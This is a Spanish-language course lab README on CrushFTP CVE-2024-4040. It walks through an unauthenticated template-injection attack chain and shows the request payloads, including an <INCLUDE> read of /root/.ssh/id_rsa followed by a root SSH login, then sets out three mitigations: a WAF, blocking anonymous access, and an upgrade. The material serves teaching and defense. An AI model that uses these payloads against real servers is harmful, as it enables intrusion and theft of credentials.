CVE-2024-4040 — CrushFTP SSTI / LFI Prueba de Concepto

Solo para uso educativo y de laboratorio autorizado.
CS443 Seguridad de Software y Sistemas — entorno Docker local controlado.

Resumen de la vulnerabilidad

El WebInterface de CrushFTP evalúa expresiones de plantilla en el parámetro path del comando zip sin sanitización. Un atacante no autenticado puede obtener cookies de sesión anónimas y luego usarlas para pasar cargas útiles de plantillas ({working_dir}, <INCLUDE>…</INCLUDE>) que el servidor evalúa y devuelve, permitiendo la lectura de archivos arbitrarios en todo el host.

Entorno de Laboratorio

Requisitos previos

pip install requests rich

Scripts

Recorrido de la Prueba de Concepto

Paso 1 — Iniciar el Laboratorio

docker-compose up -d

Espere aproximadamente 10 segundos para que CrushFTP se inicialice completamente antes de ejecutar los scripts. No se requiere un paso de reconocimiento separado aquí porque crushed.py ya verifica si la explotación es posible durante la ejecución.

Paso 2 — Robar la Clave Privada SSH mediante LFI

python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa

El script hará lo siguiente:

1. Obtener una sesión anónima CrushAuth / currentAuth desde /WebInterface/
2. Usar SSTI para confirmar la evaluación de plantillas y filtrar el nombre de host del servidor
3. Usar {working_dir} para resolver el directorio de instalación de CrushFTP
4. Usar <INCLUDE>/root/.ssh/id_rsa</INCLUDE> para leer el archivo objetivo
5. Imprimir el contenido del archivo sin procesar en stdout

Copiar el bloque de la clave privada de la salida (todo desde -----BEGIN OPENSSH PRIVATE KEY----- hasta -----END OPENSSH PRIVATE KEY-----).

Paso 3 — Guardar la Clave Robada

cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF

chmod 600 stolen_id_rsa

Paso 4 — Conectarse por SSH al Contenedor como Root

ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no

Paso 5 — Confirmar el Acceso Root

whoami
# Expected: root

id
# Expected: uid=0(root) gid=0(root) groups=0(root)

hostname
# Expected: <container_id>

Diagrama de la Cadena de Ataque

Unauthenticated attacker
        │
        ▼
GET /WebInterface/          ← obtains anonymous CrushAuth + currentAuth cookies
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={hostname}          ← SSTI confirmed — template evaluated by server
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path={working_dir}       ← leaks absolute installation path
        │
        ▼
POST /WebInterface/function/
  ?command=zip
  &path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE>   ← arbitrary file read
        │
        ▼
SSH -i stolen_id_rsa root@localhost -p 2222    ← full root shell

Problemas Conocidos Clave en crushed.py

Estrategias de Mitigación

Mitigación 1 — Cortafuegos de Aplicación Web (NGINX + ModSecurity)

Visión General

Un WAF actúa como un proxy inverso que inspecciona el tráfico HTTP/S entrante antes de que llegue a CrushFTP. Usando NGINX con ModSecurity, las solicitudes maliciosas que explotan CVE-2024-4040 se bloquean en el borde de la red sin modificar CrushFTP.

Cómo Mitiga CVE-2024-4040

• Bloquea patrones de salto de directorio (por ejemplo, ../, %2e%2e) en las URI de solicitud y cookies
• Evita que las solicitudes de escape VFS no autenticadas lleguen a CrushFTP
• Registra y deniega cargas útiles sospechosas antes de que lleguen a la aplicación

Configuración Docker

Usar Mitigation 1/docker-compose.yaml:

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

Configuración de NGINX

Usar Mitigation 1/nginx.conf:

worker_processes 1;

events {
    worker_connections 1024;
}

http {
    # Enable ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/modsecurity.d/setup.conf;

    upstream crushftp {
        server crushftp:8080;
    }

    server {
        listen 80;
        server_name localhost;

        # Proxy all traffic to CrushFTP
        location / {
            proxy_pass http://crushftp;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # Return 403 for blocked requests
        error_page 403 /403.html;
        location = /403.html {
            return 403 '{"error": "Request blocked by WAF"}';
        }
    }
}

Flujo de Tráfico

Attacker -> NGINX WAF (port 80) -> blocks malicious -> 403 Forbidden
                             -> forwards clean -> CrushFTP:8080

Limitaciones

• No parchea la causa raíz: CrushFTP sigue siendo vulnerable si se omite el WAF
• Requiere actualizaciones de reglas a medida que los atacantes desarrollan técnicas de ofuscación

Mitigación 2 — Deshabilitar el Acceso de Usuarios Anónimos

Visión General

CVE-2024-4040 es explotable sin autenticación. En este laboratorio, el acceso anónimo se bloquea en la capa de NGINX al requerir un encabezado Authorization antes de enviar rutas sensibles a CrushFTP.

Cómo Mitiga CVE-2024-4040

• Los scripts de exploit como crushed.py dependen del acceso no autenticado; las solicitudes sin credenciales son rechazadas con 401
• Las solicitudes a /WebInterface/ y / son denegadas a menos que estén presentes datos de autenticación
• Reduce la exposición de endpoints vulnerables a usuarios no autenticados

Configuración Docker (Exacto de Mitigation 2/docker-compose.yaml)

services:
  crushftp:
    build: .
    expose:
      - "8080"
    ports:
      - "2222:22"

  nginx:
    image: nginx:latest
    ports:
      - "8080:80"
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf
    depends_on:
      - crushftp

Política de NGINX (Exacto de Mitigation 2/nginx.conf)

events {}
http {
  server {
    listen 80;

    # Allow static assets unauthenticated
    location ~* \.(css|js|png|jpg|ico|gif)$ {
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
    }

    # Block unauthenticated access to WebInterface
    location /WebInterface/ {
      if ($http_authorization = "") {
        return 401 "Authentication Required - Anonymous sessions disabled";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
      proxy_set_header Authorization $http_authorization;
    }

    # Block everything else unauthenticated
    location / {
      if ($http_authorization = "") {
        return 401 "Authentication Required";
      }
      proxy_pass http://crushftp:8080;
      proxy_set_header Host $host;
      proxy_set_header X-Real-IP $remote_addr;
    }
  }
}

Verificar mediante Docker

# Confirm unauthenticated request is rejected by NGINX
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# Expected: 401 Unauthorized

# Optional: authenticated request should be forwarded
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername

Limitaciones

• No parchea la vulnerabilidad subyacente; los usuarios autenticados aún pueden estar en riesgo si la lógica del exploit se adapta
• La aplicación depende de la colocación del proxy y del manejo correcto de encabezados frente a CrushFTP

Mitigación 3 — Actualizar a la Versión 11 de CrushFTP

Visión General

Actualizar a CrushFTP 11 es la solución más efectiva y permanente. El parche agrega una validación de entrada estricta en la resolución de rutas VFS, eliminando la causa raíz de CVE-2024-4040.

Cómo Mitiga CVE-2024-4040

• Impone un estricto aislamiento (sandboxing) de las rutas VFS: los intentos de escape son rechazados a nivel de aplicación
• Los scripts de exploit como crushed.py ya no funcionan contra la versión 11
• La corrección se aplica a nivel de código fuente, no está enmascarada por controles externos

Implementación

Actualice su Dockerfile para usar CrushFTP 11:

FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt

RUN apt-get update -y && apt-get -y install unzip wget openssh-server

COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip

EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22

WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"

CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d

Reconstruya el contenedor:

docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d

Verificar que el Parche Funciona

# Run the exploit against v11 - should fail
# Note: this repository's script uses -t/--target.
python3 crushed.py -t http://localhost:8080

# Expected: exploit returns no output or connection error